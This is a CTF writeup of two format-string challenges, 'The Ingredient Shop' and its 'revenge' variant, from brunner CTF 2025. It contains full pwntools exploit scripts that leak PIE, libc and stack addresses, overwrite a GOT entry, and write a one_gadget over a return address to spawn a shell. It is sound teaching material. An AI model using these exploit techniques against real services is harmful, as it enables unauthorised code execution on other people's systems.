brunner CTF 2025 - The Ingredient Shop & revenge writeup
Writeup on The Ingredient Shop and The Ingredient Shop’s revenge challenges from brunner CTF 2025.
Preambule
Both challenges are exposing a format string vulnerability. The first one contains a win function, which is removed from the second binary.
The Ingredient Shop
Binary analysis
Only the binary is given (no loader/glibc):
➜ file ./shop
./shop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
Every protection are enabled except full read-only relocations:
➜ checksec --file=./shop
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled PIE enabled
Partial read-only relocation allows us to rewrite got section, to override dynamically linked functions pointers.
Ghidra pseudo-code
void main(void)
{
do {
get_input();
} while( true );
}
void get_input(void)
{
...
fgets(local_118,0x100,stdin);
puts("here is your choice");
printf(local_118); // <-- Format string vulnerability here
puts("");
...
}
Nothing special here, printf in get_input is called with a user-supplied input.
There is no filter/limitation besides the 0x100 payload length, and we will be able
to trigger the format string vulnerability as much as needed.
It also contains a win function, which spawns a shell:
void print_flag(void)
{
system("/bin/sh");
return;
}
Here is the exploitation plan:
- Leak a PIE address to compute
print_flagaddress - Override
puts@gotaddress withprint_flagaddress - Next call to
putsinget_inputwill actually callprint_flagand spawn a shell
Exploitation
First, let’s collect interesting stack offsets:
- Buffer is located at offset 8:
3) exit
AAAABBBB %8$p
here is your choice
AAAABBBB 0x4242424241414141
- After taking a quick look the stack in gdb,
mainfunction’s address is found at offset 47:
pwndbg> dq $sp 64
00007fffffffdef0 0000000000100000 0000000000000040
...
00007fffffffe030 0000555555554040 0000555555555348 <-- here
To defeat PIE, subtract main address with elf base address:
pwndbg> vmmap ... 0x555555554000 0x555555555000 r--p 1000 0 /xxx/shop ... pwndbg> p/x 0x555555555348-0x555555554000 $1 = 0x1348
Let’s leak this address with pwntools:
from pwn import *
binary = './shop'
context.terminal = ["tmux", "splitw", "-h"]
def start():
gs = '''
breakrva 0x129d
continue
'''
if args.GDB:
return gdb.debug([binary], gdbscript=gs)
if args.REMOTE:
return remote('the-ingredient-shop-628d5eb1da9b2439.challs.brunnerne.xyz', 443, ssl=True)
return process([binary])
elf = context.binary = ELF(binary, checksec=False)
io = start()
io.sendlineafter(b'exit', b'%47$p')
io.recvuntil(b'here is your choice\n')
main_addr = int(io.recvline()[:-1], 16)
# substract `main` address with the offset found above to get elf base address
elf.address = main_addr - 0x1348
log.success(f'Leaked pie: {hex(elf.address)}')
Finally, send the payload to overwrite puts got entry with print_flag address:
io.sendlineafter(b'exit', fmtstr_payload(8, {elf.got.puts: elf.sym.print_flag}))
# cat flag.txt
# brunner{these_people_need_to_get_better_at_security}
io.interactive()
Pwned 🎉
The Ingredient Shop’s revenge
For this one, glibc and loader are provided. Let’s skip the binary analysis as both are very similar, only difference that matters is protections: read-only relocations is fully activated, we can’t override got pointers anymore.
As there is no more win function, we need to adapt the exploitation plan:
- Leak libc base address
- Leak stack pointer
- Override a
get_inputreturn address with a one gadget
Exploitation
We are going to use 3 offsets:
- Same as above, buffer starts at offset 8
- Libc address at 1
- Stack address at 47
First, leak libc and stack:
io = start()
io.sendlineafter(b'exit', b'%p')
io.recvuntil(b'here is your choice\n')
# Same technique as above with `vmmap` to find libc base address
# In gdb, subtract the address we are targetting with base to get the offset
# Subtract leaked address with this offset to defeat ASLR
libc.address = int(io.recvline(), 16) - 0x204643
io.sendlineafter(b'exit', b'%47$p')
io.recvuntil(b'here is your choice\n')
# `get_input` return address = stack leak - offset
ret_addr = int(io.recvline(), 16) - 0x130
log.success(f'Leaked libc: {hex(libc.address)}')
log.success(f'Leaked return addr: {hex(ret_addr)}')
Then we need to find a one_gadget with requirements we can fulfill:
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
With pwndbg, set a PIE breakpoint with breakrva on get_input ret instruction, to check memory/registers state just
before jumping to one_gadget:
# rbp-0x50 is writable
pwndbg> dq $rbp-0x50 1
00007fff97b488f0 0000000000000000
# rax == NULL
pwndbg> i r rax
rax 0x0 0
# [rbp-0x78] == NULL
pwndbg> dq $rbp-0x78 1
00007fff97b488c8 0000000000000000
All good !
Payload generated with fmtstr_payload was crashing so I decided to implement a quick and (very) dirty workaround:
def get_bytes_pair(addr, at):
return (addr & (0xffff << (at * 16))) >> (at * 16)
one_gadget = libc.address + 0xef52b
# 0x000000000000XXXX
first_bytes = get_bytes_pair(one_gadget, 0)
# 0x00000000YYYY0000
sec_bytes = get_bytes_pair(one_gadget, 1)
# 0x0000ZZZZ00000000
third_bytes = get_bytes_pair(one_gadget, 2)
payload = b''
first = first_bytes - len(payload)
payload += bytes(f'%{first}c%13$hn', 'ascii')
# handle short overflow in case 0xXXXX > 0xYYYY
sec = (sec_bytes - first) % 0x10000
payload += bytes(f'%{sec}c%14$hn', 'ascii')
third = (third_bytes - sec) % 0x10000
payload += bytes(f'%{(third - first) % 0x10000}c%15$hn', 'ascii')
# padding to align target addresses on printf stack offsets
payload += b'A' * (8 - (len(payload)) % 8)
# target addresses
payload += p64(ret_addr)
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)
io.sendlineafter(b'exit', payload.ljust(0x100, b'\x00'))
# cat flag.txt
# brunner{win_funcs_are_overrated}
io.interactive()
Thanks for reading !